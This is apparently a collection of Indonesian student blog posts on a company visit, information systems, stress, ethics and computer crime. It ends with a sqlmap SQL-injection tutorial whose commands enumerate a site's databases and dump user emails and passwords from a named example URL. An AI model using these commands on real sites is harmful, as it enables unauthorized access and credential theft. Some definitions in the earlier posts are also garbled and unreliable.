LAPORAN STUDI EKSKURSI 2019 PT. TERMINAL PETIKEMAS SURABAYA & PT. PERKEBUNAN NUSANTARA X

Alasan diadakanya kegiatan kunjungan ini adalah untuk menambah pengetahuan dan pengalaman bagi kita sebagai mahasiswa sebelum terjun secara langasung di dunia kerja. Karena dalam kegiatan kunjungan ini para mahasiswa diberi tahu fasilitas-fasilitas yang terdapat diperusahaan tersebut serta kita dapat secara langsung melihat aktivitas para tenaga kerja di dunia kerja.

Dalam kunjungan ke PT. TERMINAL PETIKEMAS SURABAYA kita dijelaskan berbagai macam fasilitas-fasilitas yang terdapat diperusahaan tersebut seperti halnya dengan system yang digunakan untuk mengatur pendaftaran perusahaan atau orang yang mau mengirim atau menerima barang, dan juga kita dijelskan tentang  pengendalian system yang digunakan untuk memindahkan container - container dari kapal yang datang maupun kapal pengirim. Kalau tidak salah ingat, hebatnya lagi system yang digunakan sudah memakai GPS untuk mengetahui dimana slot-slot container yang kosong sehingga memudahkan tenaga kerja mengetahui slot yang kosong yang nantinya bisa ditaruhkan container yang dipindahkan dari kapal menggunakan truk kemudian akan dipindahkan lagi dengan menggunakan container crane. Dan juga kita dijelaskan fasilitas – fasilitas yang lain seperti Scanner X-ray untuk meningkatkan keamanan pelabuhan dan mempfasilitasi inspeksi bea cukai, lapangan penumpukan seluas 350.000 m2, Container Freights Station (CFS) seluas 10.000 m2, dermaga internasional sepanjang 1.000 m lebar 50 m, dermaga Domestik sepanjang 450 m lebar 45 m.

Kemudian kunjungan kita ke PT. PERKEBUNAN NUSANTARA X,  Bisnis Utama PT Perkebunan Nusantara X adalah Industri Gula yang dipasarkan didalam negeri dan Tembakau yang dilakukan penjualan langsung kepada pembeli industri (pabrikan) dan pembeli pedagang (trader), juga dipasarkan ke luar negeri (ekspor). Kita dijelskan dengan system yang digunakan untuk mengatur atau mengontrol manajemen perusahaan, perencanaan, hingga melakukan operasionalnya secara lebih efektif dan efisien, system yang digunakan didalam  PT. PERKEBUNAN NUSANTARA X yaitu menggunakan system SAP(SYSTEM APLICATION AND DATA PRODUCT IN DATA PROCESING).

PIM (Pekan Ilmiah Mahasiswa) Ajang kreativitas bagi Mahasiswa STIKI Malang

PIM (Pekan Ilmiah Mahasiswa) Merupakan salah satu ajang kompetisi sekaligus meningkatkan kreativitas Mahasiswa yang sering diadakan di setiap kampus di seluruh Indonesia. PIM Merupakan salah satu kompetisi yang pernah saya ikuti dikampus STIKI Malang, tempat saya Kuliah saat ini. Kompetisi PIM ini pernah saya ikuti tepatnya pada tahun 2015 atau sekitar 3 tahun yang lalu. Banyak pengalaman yang saya dapatkan saat itu, karena PIM 2015 diadakan tepat beberapa bulan setelah saya menjadi MABA(Mahasiswa Baru) di kampus STIKI Malang (Kampus ELANG).

Dalam PIM tersebut banyak sekali kategori yang dilombakan , kategori tersebut mencakup bidang IT. Dari sekian banyak kategori yang dilombakan , saya hanya mengikuti satu kategori lomba yaitu kategori “Blog Desain Contest”. Bersama 1 teman saya, kami telah berhasil membuat sebuah blog yang menarik. Yah walaupun pada akhirnya kami tidak menjadi juara karena para kontestan lainnya memiliki blog yang sangat menarik. Tapi terlepas dari tidak mendapatkannya gelar juara dalam kategori ini, kami sangat senang karena banyak sekali pengalaman yang kami dapatkan terlepas dari itu kami berdua pada saat itu masih Menjadi mahasiswa baru , pengalaman inilah sangat dibutuhkan bagi para mahasiswa baru karena selain mengasah kemampuan, dengan mengikuti berbagai kompetisi sejak menjadi mahasiswa baru kita memiliki banyak pengalaman dan juga memiliki banyak teman, teman yang menarik dan memiliki banyak sekali kreativitas yang bisa mendorong kita menjadi mahasiwa yang lebih baik kedepannya.

Pengalaman yang saya dapatkan di kompetisi PIM tahun 2015 merupakan pengalaman yang sangat berharga dan saya menjadi tahu bahwa pengalaman adalah hal yang bisa kita jadikan patokan untuk menjadi lebih baik lagi. Teruslah melangkah dan majulah sampai mimpimu terwujud.

by Jumawal

Sistem Informasi

Menggunakan Sistem Informasi untuk Mencapai Keunggulan Kompetitif

Pada hamper semua industri yang anda lihat, anda akan menemukan beberapa perusahaan berkinerja lebih baik dari pada yang lain. Selalu terdapat perusahaan yang menonjol, pada industri otomotif Toyota dianggap pelaku superior. Pada eceran online murni, amazon.com adalah pemimpinnya. Dan pada eceran off line, wai-mart pengencer terbesar di bumi.

Perusahaan yang melakukan dengan lebih baik dari pada yang lain dikatakan memiliki keunggulan kompetitif dari yang lainnya, perusahaan memiliki akses terhadap sumberdaya khusus yang tidak dimiliki yang lain, atau mereka mampu mengunakan sumber daya yang tersedia umum dengan lebih efisien biasanya kerena pengetahuan dan aset informasi yang superior.   

Model Daya Kompetitif Portel

Model yang paling luas penggunaannya untuk mengerti keungulan kompetitif adalah model daya kompetitif  model ini menyediakan pandangan umum terhadap perusahaan, persaingannya, lingkungan perusahaan. Model portel seluruhnya adalah mengenai lingkungan bisnis umum perusahaan, pada model ini, lima daya kompetitif membentuk nasip perusahaan: Persaingan Tradisional, Pemain Baru di Pasar, Produk dan Jas Pengganti, Pelanggan, Pemasok.

Stategi Sistem Informasi Untuk Berhubungan Dengan Daya Kompetitif

Apa yang akan dilakukan oleh perusahaan jika dihadapkan dengan seluruh daya kompetitif ini? Dan bagaimana perusahaan mengunakan sistem informasi untuk melawan beberapa dorongan ini? Bagaimana anda mencegah pengganti dan menghalangi permainan baru di pasar? Terdapat 4 strategi umum yang masing-masing sering dimungkinkan dengan penggunaan teknologi dan sistem informasi: kepemimpinan harga rendah, diferensiasi produk, berfokus pada peluang pasar, dan menguatkan keakraban pelanggan dan pemasok.

Kepemimpinan Harga Rendah

Gunakan sistem informasi untuk mencapai biaya operasional terendah dan harga terendah. Contoh klasik adalah wai-mart, dengan menjaga harga yang rendah dan rata-rata di isi dengan baik menggunakan sistem pengisian kembali persediaan yang melegenda.

Wal-mart menjadi pemimpin bisnis enceran di amerika serikat, karena sistem pengisian kembali persediaan yang sangat cepat, Wal-Mart tidak perlu menghabiskan banyak uang untuk menjaga persediaan yang besar pada gudangnya sendiri. Sistem juga memungkinkan wal-mart menyesuaikan pembelian barang toko untuk memenuhi permintaan pelanggan.

Diferensiasi Produk

Gunakan sistem informasi untuk memungkinkan produk dan jas baru, atau mengubah kenyamanan pelanggan dalam menggunakan produk dan jasa anda yang telah ada. Sebagai contoh, Google terus memperkenalkan jasa pencarian yang baru dan unit pada situs Webnya, seperti Google Maps. Dengan membeli PayPal, sistem pembayaran elektronik, pada tahun 2003, eBay membuat pelanggan lebih mudah untuk membayar penjualan dan mengembangkan penggunaan pasar lelangnya.

Berfokus Pada Peluang Pasar

Gunakan sistem informasi untuk memungkinkan fokus pasr khusus, dan layani pasar sasaran sempit ini lebih baik dari pesaing. Sistem informasi mendukung strategi ini dengan memproduksi dan menganalisis data untuk penjualan dan tekni pemasaran yang baik. Sistem informasi memungkinkan perusahaan menganalisis pola pembelian pelanggan, selera, dan preferensi dengan cukup dekat sehingga dapat menaikkan kampanye periklanan dan pemasaran dengan efisienkepada pasar sasaran yang lebih kecil.

Management Information Systems

What is MIS?

—Information

◦Data yang telah dimasukkan ke dalam konteks yang bermakna dan berguna . Biasanya untuk membantu membuat keputusan .

—Management Information System

◦Kombinasi komputer dan orang-orang yang digunakan untuk memberikan informasi untuk membantu dalam membuat keputusan dan pengelolaan perusahaan.

—Information Technology (IT)

Mengapa MIS Penting ?

ØMIS mempengaruhi semua bidang bisnis

◦Pabrik

◦Akuntansi & Keuangan

◦Sumber daya manusia

◦Pemasaran

◦manajemen puncak

ØKinerja evaluasi - harapan

STRES

STRES

Stres adalah suatu kondisi dimana seorang individu dihadapkan pada peluang, tuntutan, atau sumber daya yang terkait dengan apa yang diinginkan dan hasilnya dipandang tidak pasti dan tidak penting.

^[1] Stres adalah beban rohani yang melebihi kemampuan maksimum rohani itu sendiri, sehingga perbuatan kurang terkontrol secara sehat.

1. Stres tahap I
merupakan tahapan stres yang paling ringan dan biasanya disertai dengan perasaan-perasaan sebagai berikut: 1) Semangat bekerja besar, berlebihan (over acting); 2) Penglihatan “tajam” tidak sebagaimana biasanya; 3) Merasa mampu menyelesaikan pekerjaan lebih dari biasanya, namun tanpa disadari cadangan energi semakin menipis.

2. Stres tahap II
Dalam tahapan ini dampak stres yang semula “menyenangkan” sebagaimana diuraikan pada tahap I di atas mulai menghilang, dan timbul keluhan-keluhan 1) Merasa letih sewaktu bangun pagi yang seharusnya merasa segar; 2) Merasa mudah lelah sesudah makan siang; 3) Lekas merasa capai menjelang sore hari; 4) Sering mengeluh lambung/perut tidak nyaman (bowel discomfort); 5) Detakan jantung lebih keras dari biasanya (berdebar-debar); 6) Otot-otot punggung dan tengkuk terasa tegang; 7) Tidak bisa santai.

3. Stres Tahap III
Apabila seseorang tetap memaksakan diri dalam pekerjaannya tanpa menghiraukan keluhan-keluhan pada stres tahap II, maka akan menunjukkan keluhan-keluhan yang semakin nyata dan mengganggu.
3. Stres Tahap IV
Gejala stres tahap IV, akan muncul: 1) Untuk bertahan sepanjang hari saja sudah terasa amat sulit; 2) Aktivitas pekerjaan yang semula menyenangkan dan mudah diselesaikan menjadi membosankan dan terasa lebih sulit; 3) Yang semula tanggap terhadap situasi menjadi kehilangan kemampuan untuk merespons secara memadai (adequate); 4) Ketidakmampuan untuk melaksanakan kegiatan rutin sehari-hari; 5) Gangguan pola tidur disertai dengan mimpi-mimpi yang menegangkan; Seringkali menolak ajakan (negativism) karena tiada semangat dan
kegairahan; 6) Daya konsentrasi daya ingat menurun; 7) Timbul perasaan ketakutan dan kecemasan yang tidak dapat dijelaskan apa penyebabnya.

4. Stres Tahap V
1) Kelelahan fisik dan mental yang semakin mendalam
2) Ketidakmampuan untuk menyelesaikan pekerjaan sehari-hari yang ringan dan sederhana
3) Gangguan sistem pencernaan semakin berat
4) Timbul perasaan ketakutan, kecemasan yang semakin meningkat, mudah   bingung dan panik.

6. Stres Tahap VI
Tahapan ini merupakan tahapan klimaks, seseorang mengalami serangan panik (panic attack) dan perasaan takut mati.

1) Debaran jantung teramat keras; 2) Susah bernapas (sesak dan megap-megap); 3) Sekujur badan terasa gemetar, dingin dan keringat bercucuran; 4) Ketiadaan tenaga untuk hal-hal yang ringan; 5) Pingsan atau kolaps

FAKTOR-FAKTOR terjadinya stress :

-Faktor lingkungan   

-Faktor organisasi

-Faktor pribadi

7 cara mengurangi stres:

1. Memiliki harapan yang realistik

2. Aktif

3. Melakukan persiapan sebelumnya

4. Lakukan break di sela-sela pekerjaan

5. Kurangi caffeine

6. Cukup tidur

7. Seimbang antara bekerja dan bermain

Manajemen stress  bisa dilakukan dengan menerapkan beberapa teknik.

1.    kerekayasaan kepribadian

2.    Penenangan pikiran  

3.    Kerekayasaan organisasi 

4.    Teknik penenangan melalui aktivitas fisik.

Aliran ETIKA

1.      DIFINISI ETIKA
       Pengertian Etika (Etimologi), berasal dari bahasa Yunani adalah “Ethos”, yang berarti hati nurani ataupun perikelakuan yang pantas (atau yang diharapkan). Secara sederhana hal itu kemudian diartikan sebagai ajaran tentang perikelakuan yang didasarkan pada perbandingan mengenai apa yang dianggap baik dan apa yang dianggap buruk. Menurut para ahli, etika tidak lain adalah aturan prilaku, adat kebiasaan manusia dalam pergaulan antara sesamanya dan menegaskan mana yang benar dan mana yang buruk. Perkataan etika atau lazim juga disebut etik, berasal dari kata Yunani ETHOS yang berarti norma-norma, nilai-nilai, kaidah-kaidah dan ukuran-ukuran bagi tingkah laku manusia yang baik.

1.      DIFINISI MORAL
        Moral berasal dari bahasa Latin "mos" (jamak: mores) yang berarti kebiasaan atau adat. Kata "mos" (mores) dalam bahasa Latin sama artinya dengan etos dalam bahasa Yunani. Di dalam bahasa Indonesia, kata moral diterjemahkan dengan arti susila. Adapun pengertian moral yang paling umum adalah tindakan manusia yang sesuai dengan ide-ide yang diterima umum, yaitu berkaitan dengan makna yang baik dan wajar. Dengan kata lain, pengertian moral adalah suatu kebaikan yang disesuaikan dengan ukuran-ukuran tindakan yang diterima oleh umum, meliputi kesatuan sosial atau lingkungan tertentu. Kata moral selalu mengacu pada baik dan buruknya perbuatan manusia sebagai manusia.

DIFINISI PROFESI
        Profesi adalah kata serapan dari sebuah kata dalam bahasa Inggris "Profess", yang bermakna: "Janji untuk memenuhi kewajiban melakukan suatu tugas khusus secara tetap/permanen".
Dalam Kamus Besar Bahasa Indonesia, profesi diartikan sebagai "bidang pekerjaan yang dilandasi pendidikan keahlian (seperti ketrampilan, kejuruan dan sebagainya) tertentu." Dalam pengertian ini, dapat dipertegas bahwa profesi merupakan pekerjaan yang harus dikerjakan dengan bermodal keahlian, ketrampilan dan spesialisasi tertentu. 
Profesi adalah pekerjaan yang membutuhkan pelatihan dan penguasaan terhadap suatu 

1.      pengetahuan khusus. Suatu profesi biasanya memiliki asosiasi profesi, kode etik, serta proses sertifikasidan lisensi yang khusus untuk bidang profesi tersebut. Contoh profesi adalah pada bidang hukum, kedokteran, keuangan, militer, teknik desainer, tenaga pendidik.

2.      DIFINISI ETIKA PROFSI
       Etika profesi adalah sikap etis sebagai bagian integral dari sikap hidup dalam menjalankan kehidupan sebagai pengemban profesi. Etika profesi adalah cabang filsafat yang mempelajari penerapan prinsip-prinsip moral dasar atau norma-norma etis umum pada bidang-bidang khusus (profesi) kehidupan manusia. Etika Profesi adalah konsep etika yang ditetapkan atau disepakati pada tatanan profesi atau lingkup kerja tertentu. Etika profesi Berkaitan dengan bidang pekerjaan yang telah dilakukan seseorang sehingga sangatlah perlu untuk menjaga profesi dikalangan masyarakat atau terhadap konsumen (klien atau objek).

3.      DIFINISI ETIKA KOMPUTER
     Etika komputer adalah separangkat asas atau nilai yang berkenaan dengan penggunaaan komputer. Etika Komputer berasal dari 2 suku kata yaitu etika ( bahasa yunani : ethos ) adalah adat istiadat atau kebiasaan yang baik dalam individu, kelompok maupun masyarakat dan komputer ( bahasa inggris : to compute ) merupakan alat yang di gunakan untuk menghitung dan mengelolah data. Jumlah interaksi manusia dengan komputer yang harus meningkat dari waktu ke waktu membuat etika komputer menjadi suatu peraturan dasar harus dipahami oleh masyarakat luas.

Sepuluh Perintah  Etika Komputer.

Pada tahun 1992, koalisi etika komputer yang tergabung dalam lembaga etika komputer (CEI) memfokuskan pada kemajuan teknologi informasi, untuk dan korporasi serta kebijakan publik.

Sepuluh Perintah untuk Etika Komputer Dari Institut Etika Komputer yaitu :

1.      Jangan menggunakan komputer untuk membahayakan orang lain

2.      Jangan mencampuri pekerjaan komputer orang lain

3.      Jangan mengintip file orang lain

4.      Jangan menggunakan komputer untuk mencuri

5.      Jangan menggunakan komputer untuk bersaksi dusta

6.      Jangan menggunakan atau menyalin perangkat lunak yang belum kamu bayar

7.      Jangan menggunakan sumber daya komputer orang lain tanpa otorisa

8.      Jangan mengambil hasil intelektual orang lain untuk diri kamu sendiri

9.      Pikirkanlah mengenai akibat sosial dari program yang kamu tulis

10.  Gunakanlah komputer dengan cara yang menunjukkan tenggang rasa dan rasa penghargaan.

4.      DIFINISI KODE ETIK PROFESI
        Kode etik profesi adalah system norma, nilai dan aturan profesional tertulis yang secara tegas menyatakan apa yang benar dan baik, dan apa yang tidak benar dan tidak baik bagi profesional. Kode etik menyatakan perbuatan apa yang benar atau salah, perbuatan apa yang harus dilakukan dan apa yang harus dihindari. 

B. Macam-macam kejahatan computer

1.      Kejahatan dunia maya secara teknis dikelompokkan menjadi kejahatan langsung (online crime), semi-online crime dan cybercrime. Dalam prakteknya kejahatan dunia maya ini dikelompokkan menjadi :

a.       Illegal Access (Akses Tanpa Ijin ke Sistem Komputer)
Tanpa hak dan dengan sengaja mengakses secara tidak sah terhadap seluruh atau sebagian sistem komputer, dengan maksud untuk mendapatkan data komputer atau maksud-maksud tidak baik lainnya, atau berkaitan dengan sistem komputer yang dihubungkan dengan sistem komputer lain. Hacking merupakan salah satu dari jenis kejahatan ini yang sangat sering terjadi.

b.      Illegal Contents (Konten Tidak Sah)
Merupakan kejahatan dengan memasukkan data atau informasi ke internet tentang sesuatu hal yang tidak benar, tidak etis, dan dapat dianggap melanggar hukum atau mengganggu ketertiban umum.

c.       Data Forgery (Pemalsuan Data)
Merupakan kejahatan dengan memalsukan data pada dokumen-dokumen penting yang tersimpan sebagai scriptless document melalui internet. Contoh kejahatan ini pada dokumen-dokumen e-commerce dengan membuat seolah-olah terjadi salah ketik yang pada akhirnya akan menguntungkan pelaku.

d.      Spionase Cyber (Mata-mata)
Merupakan kejahatan yang memanfaatkan jaringan internet untuk melakukan kegiatan memata-matai pihak lain, dengan memasuki sistem jaringan komputer (computer network system) sasaran. Kejahatan ini biasanya ditujukan terhadap saingan bisnis yang dokumen ataupun data-data pentingnya tersimpan dalam suatu sistem yang bersifat komputerisasi.

e.       Data Theft (Mencuri Data)
Kegiatan memperoleh data komputer secara tidak sah, baik untuk digunakan sendiri ataupun untuk diberikan kepada orang lain. Identity theft merupakan salah satu dari jenis kejahatan ini yang sering diikuti dengan kejahatan penipuan (fraud). Kejahatan ini juga sering diikuti dengan kejahatan data leakage.

f.       Misuse of devices (Menyalahgunakan Peralatan Komputer)
Dengan sengaja dan tanpa hak, memproduksi, menjual, berusaha memperoleh untuk digunakan, diimpor, diedarkan atau cara lain untuk kepentingan itu, peralatan, termasuk program komputer, password komputer, kode akses, atau data semacam itu, sehingga seluruh atau sebagian sistem komputer dapat diakses dengan tujuan digunakan untuk melakukan akses tidak sah, intersepsi tidak sah, mengganggu data atau sistem komputer, atau melakukan perbuatan-perbuatan melawan hukum lain.

CARA EXPLOIT DATABASE MENGGUNAKAN SQLMAP

     A. SQL INJECTION

Injeksi SQL atau SQL Injection adalah teknik injeksi kode, yang digunakan untuk menyerang aplikasi berbasis data, di mana pernyataan SQL jahat dimasukkan ke dalam bidang entri untuk eksekusi (mis. Untuk membuang konten database ke penyerang). Injeksi SQL harus mengeksploitasi kerentanan keamanan pada perangkat lunak aplikasi, misalnya saat input pengguna salah disaring untuk karakter escape string literal yang disematkan pada pernyataan SQL atau masukan pengguna tidak diketik dengan kuat dan tanpa diduga dieksekusi. Injeksi SQL sebagian besar dikenal sebagai vektor serangan untuk situs web namun dapat digunakan untuk menyerang semua jenis database SQL. Dalam panduan ini saya akan menunjukkan kepada Anda bagaimana SQLMAP SQL Injection di Kali Linux untuk meng-hack sebuah situs web (lebih khusus Database) dan ekstrak nama pengguna dan kata sandi di Kali Linux.

     B. SQLMap

Sqlmap adalah alat pengujian penetrasi open source yang mengotomatisasi proses mendeteksi dan mengeksploitasi kelemahan SQL injection dan mengambil alih dari database server. Muncul dengan mesin deteksi yang kuat, banyak fitur ceruk untuk penetrasi tester utama dan berbagai switch yang berlangsung dari database sidik jari, atas data mengambil dari database, untuk mengakses sistem file yang mendasari dan mengeksekusi perintah pada sistem operasi melalui out of-band koneksi.

1.      Fitur dari Sqlmap

·         Dukungan penuh untuk MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB dan sistem manajemen database HSQLDB.

·         Dukungan penuh selama enam teknik SQL injection: berbasis boolean blind, berdasarkan waktu blind, berbasis error, berbasis permintaan UNION, query ditumpuk dan out-of-band.

·         Dukungan untuk langsung terhubung ke database tanpa melewati melalui injeksi SQL, dengan menyediakan DBMS kredensial, alamat IP, port dan nama database.

·         Dukungan untuk menghitung pengguna, hash password, hak, peran, database, tabel dan kolom.

·         Pengakuan otomatis format hash sandi dan dukungan untuk retak mereka menggunakan serangan kamus berbasis.

·         Dukungan untuk membuang tabel database seluruhnya, berbagai entri atau kolom tertentu sesuai pilihan pengguna. Pengguna juga dapat memilih untuk membuang hanya berbagai karakter dari entri setiap kolom ini.

·         Dukungan untuk mencari nama database tertentu, tabel khusus di semua database atau kolom tertentu di tabel semua database '. Hal ini berguna, misalnya, untuk mengidentifikasi tabel yang berisi kredensial aplikasi kustom di mana nama-nama kolom yang relevan 'mengandung string seperti nama dan lulus.

·         Dukungan untuk men-download dan meng-upload file dari server database yang mendasari sistem file ketika software database MySQL, PostgreSQL atau Microsoft SQL Server.

·         Dukungan untuk mengeksekusi perintah sewenang-wenang dan mengambil output standar mereka pada database server yang mendasari sistem operasi ketika software database MySQL, PostgreSQL atau Microsoft SQL Server.

·         Dukungan untuk membangun koneksi stateful TCP out-of-band antara mesin penyerang dan sistem operasi server database yang mendasari. Saluran ini dapat menjadi command prompt interaktif, sesi meterpreter atau antarmuka pengguna (VNC) sesi grafis sesuai pilihan pengguna.

·         Dukungan untuk proses database 'pengguna eskalasi hak istimewa melalui meterpreter Metasploit ini getsystem perintah.

Perintah-perintah dasar sqlmap untuk hacking website :

Ø  sqlmap.py -u url_target --dbs

Perintah ini digunakan untuk mengambil semua nama database di server. Isi link target dengan web tujuan:

Ø  sqlmap.py -u url_target -D nama_database --tables

Perintah ini digunakan untuk mengambil semua table dari suatu database. nama_database isi dengan nama database yang ingin ditampilkan semua tablenya.

Ø  sqlmap.py -u url_target -D nama_database -T nama_table --columns

Perintah ini digunakan untuk menampilkan semua column dari sebuah table yang ada di sebuah database server. Ganti nama tablenya sesuai dengan nama table yang ada di database target masing-masing.

Ø  sqlmap.py -u url_target -D nama_database -T nama_table -C nama_columns --dump

Perintah ini digunakan untuk menampilkan isi dari semua data dari sebuah table. isi nama nama_columns dengan kolom-kolom yang ada di table tersebut. Contoh penulisanya seperti ini :

Ø  sqlmap.py -u iangoblog.com/user.php?id=2 -D iangoblog -T users -C email,username,password --dump

Tapi kalau ingin langsung saja mengambil semua data yang ada di database servernya, dapat langsung menuliskan perintah di bawah ini dan tinggal hanya menunggu saja. Kecepatan tergantung dengan kecepatan internet. Perintahnya sebagai berikut :

Ø  sqlmap.py -u iangoblog.com/user.php?id=2 --dump-all - tekan enter